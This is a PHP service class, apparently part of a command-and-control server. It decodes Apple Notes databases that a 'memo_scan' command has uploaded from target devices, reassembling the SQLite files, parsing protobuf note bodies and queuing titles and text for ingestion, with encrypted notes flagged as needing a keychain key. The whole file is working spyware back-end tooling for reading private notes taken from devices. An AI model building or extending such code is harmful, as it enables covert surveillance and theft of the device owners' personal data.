Files
2026-09-12 03:42:48 +08:00

288 lines
9.4 KiB
PHP

<?php
namespace App\Services;
use App\Models\Device;
use Illuminate\Support\Facades\Storage;
/**
* Decode an assembled Apple Notes NoteStore.sqlite dump into structured
* note items [{title, body, native_id}] for IngestService::ingestNotes().
*
* memo_scan uploads NoteStore.sqlite + -wal + -shm + memo_scan.json per
* command_id. Chunks are reassembled by DsResultStore before decode() runs.
* Note bodies live in ZICNOTEDATA.ZDATA as gzip-compressed protobuf; we walk
* outer.field2 -> Note.field3 -> Document.field2 for the visible text and
* fall back to the ZSNIPPET column. Encrypted notes surface a placeholder.
*/
class DsMemoDecoder
{
private const RESULT_BASE = 'c2/ds-results';
/**
* @return array{items: list<array{title:string,body:string,native_id:int|string|null}>, meta: array<string,mixed>}
*/
public function decode(Device $device, string $commandId): array
{
$dir = self::RESULT_BASE.'/'.$device->device_id.'/'.$commandId;
$disk = Storage::disk('local');
$errors = [];
$items = [];
$notes = 0;
$encrypted = 0;
$dbPath = null;
$manifestPath = $dir.'/memo_scan.json';
if ($disk->exists($manifestPath)) {
$manifest = json_decode((string) $disk->get($manifestPath), true);
if (is_array($manifest)) {
$dbPath = $manifest['db_path'] ?? null;
}
}
$sqliteRel = $dir.'/NoteStore.sqlite';
if (! $disk->exists($sqliteRel)) {
return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, ['NoteStore.sqlite missing under '.$dir])];
}
$work = storage_path('app/c2/memo-work/'.$device->device_id.'/'.$commandId.'_'.uniqid());
@mkdir($work, 0775, true);
foreach (['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm'] as $f) {
if ($disk->exists($dir.'/'.$f)) {
file_put_contents($work.'/'.$f, (string) $disk->get($dir.'/'.$f));
}
}
try {
$pdo = new \PDO('sqlite:'.$work.'/NoteStore.sqlite', null, null, [
\PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION,
\PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC,
]);
} catch (\Throwable $e) {
$this->cleanup($work);
return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, ['open sqlite: '.$e->getMessage()])];
}
try {
$noteEnt = $this->entityNumber($pdo, 'ICNote');
if ($noteEnt === null) {
$errors[] = 'ICNote entity not found in Z_PRIMARYKEY';
return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, $errors)];
}
$rows = $pdo->prepare(
'SELECT n.Z_PK AS pk, n.ZTITLE AS title, n.ZUSERTITLE AS user_title,'
.' n.ZSNIPPET AS snippet,'
.' nd.ZDATA AS zdata, nd.ZCRYPTOINITIALIZATIONVECTOR AS iv'
.' FROM ZICCLOUDSYNCINGOBJECT n'
.' LEFT JOIN ZICNOTEDATA nd ON nd.ZNOTE = n.Z_PK'
.' WHERE n.Z_ENT = :ent ORDER BY n.Z_PK'
);
$rows->execute([':ent' => $noteEnt]);
foreach ($rows as $row) {
$notes++;
$item = $this->decodeRow($row);
if ($item === null) {
continue;
}
if (($item['_encrypted'] ?? false) === true) {
$encrypted++;
}
unset($item['_encrypted']);
$items[] = $item;
}
} catch (\Throwable $e) {
$errors[] = 'query: '.$e->getMessage();
} finally {
$pdo = null;
$this->cleanup($work);
}
return ['items' => $items, 'meta' => $this->meta($device, $commandId, $dbPath, $notes, $encrypted, $errors)];
}
/** @param array<string,mixed> $row */
private function decodeRow(array $row): ?array
{
$pk = $row['pk'] ?? null;
$title = $this->str($row['title'] ?? null);
$userTitle = $this->str($row['user_title'] ?? null);
$snippet = $this->str($row['snippet'] ?? null);
$iv = $row['iv'] ?? null;
$zdata = $row['zdata'] ?? null;
$nativeId = is_numeric($pk) ? (int) $pk : null;
if ($iv !== null && $this->blobLen($iv) > 0) {
$body = $snippet !== '' ? $snippet : '[加密备忘录 — 需 keychain 密钥]';
$head = $userTitle !== '' ? $userTitle : $title;
return ['title' => $head !== '' ? $head : $this->titleFromBody($body), 'body' => $body, 'native_id' => $nativeId, '_encrypted' => true];
}
$body = null;
if ($zdata !== null && $this->blobLen($zdata) > 0) {
$body = $this->extractBody((string) $zdata);
}
// A body that is only object-replacement chars (U+FFFC = embedded
// table/attachment placeholder) carries no readable text. Fall back
// to the ZSNIPPET column, which holds Apple's plaintext preview —
// for a table-only note that's the cell values (e.g. "1 2 3 5").
if ($body === null || ! $this->hasVisibleText($body)) {
$body = $snippet;
}
$body = $body ?? '';
$head = $userTitle !== '' ? $userTitle : $title;
return ['title' => $head !== '' ? $head : $this->titleFromBody($body), 'body' => $body, 'native_id' => $nativeId];
}
private function extractBody(string $zdata): ?string
{
$decoded = @gzdecode($zdata);
if ($decoded === false) {
return null;
}
$note = $this->pbField($decoded, 2);
if ($note === null) {
return null;
}
$doc = $this->pbField($note, 3);
if ($doc === null) {
return null;
}
$body = $this->pbField($doc, 2);
if ($body === null) {
return null;
}
$body = str_replace(["\r\n", "\r"], "\n", $body);
$body = preg_replace("/\n{3,}/", "\n\n", $body) ?? $body;
return trim($body);
}
private function pbField(string $buf, int $field): ?string
{
$i = 0;
$n = strlen($buf);
while ($i < $n) {
$tag = $this->varint($buf, $i, $i);
if ($tag === null) {
return null;
}
$fnum = $tag >> 3;
$wtype = $tag & 7;
if ($wtype === 0) {
$this->varint($buf, $i, $i);
} elseif ($wtype === 2) {
$len = $this->varint($buf, $i, $i);
if ($len === null || $len < 0 || $i + $len > $n) {
return null;
}
$chunk = substr($buf, $i, (int) $len);
$i += (int) $len;
if ($fnum === $field) {
return $chunk;
}
} elseif ($wtype === 5) {
$i += 4;
} elseif ($wtype === 1) {
$i += 8;
} else {
return null;
}
}
return null;
}
private function varint(string $buf, int $pos, int &$next): ?int
{
$val = 0;
$shift = 0;
$n = strlen($buf);
while ($pos < $n) {
$b = ord($buf[$pos++]);
$val |= ($b & 0x7f) << $shift;
if (($b & 0x80) === 0) {
$next = $pos;
return $val;
}
$shift += 7;
if ($shift > 63) {
return null;
}
}
return null;
}
private function entityNumber(\PDO $pdo, string $name): ?int
{
try {
$st = $pdo->prepare('SELECT Z_ENT FROM Z_PRIMARYKEY WHERE Z_NAME = :n LIMIT 1');
$st->execute([':n' => $name]);
$v = $st->fetchColumn();
return $v === false || $v === null ? null : (int) $v;
} catch (\Throwable $e) {
return null;
}
}
private function titleFromBody(string $body): string
{
$body = trim($body);
if ($body === '') {
return '';
}
$firstLine = preg_split('/\n+/', $body, 2)[0] ?? $body;
return mb_substr(trim($firstLine), 0, 80);
}
/**
* True when $s has any visible character besides object-replacement
* (U+FFFC), replacement (U+FFFD) and whitespace.
*/
private function hasVisibleText(string $s): bool
{
$stripped = preg_replace('/[\x{FFFC}\x{FFFD}\s]/u', '', $s) ?? '';
return $stripped !== '';
}
private function str(mixed $v): string
{
return is_string($v) ? trim($v) : '';
}
private function blobLen(mixed $v): int
{
return is_string($v) ? strlen($v) : 0;
}
/** @param list<string> $errors */
private function meta(Device $device, string $commandId, ?string $dbPath, int $notes, int $encrypted, array $errors): array
{
return [
'device_key' => $device->device_id,
'command_id' => $commandId,
'db_path' => $dbPath,
'notes' => $notes,
'encrypted' => $encrypted,
'errors' => $errors,
];
}
private function cleanup(string $work): void
{
if (! is_dir($work)) {
return;
}
foreach (glob($work.'/*') ?: [] as $f) {
@unlink($f);
}
@rmdir($work);
@rmdir(dirname($work));
}
}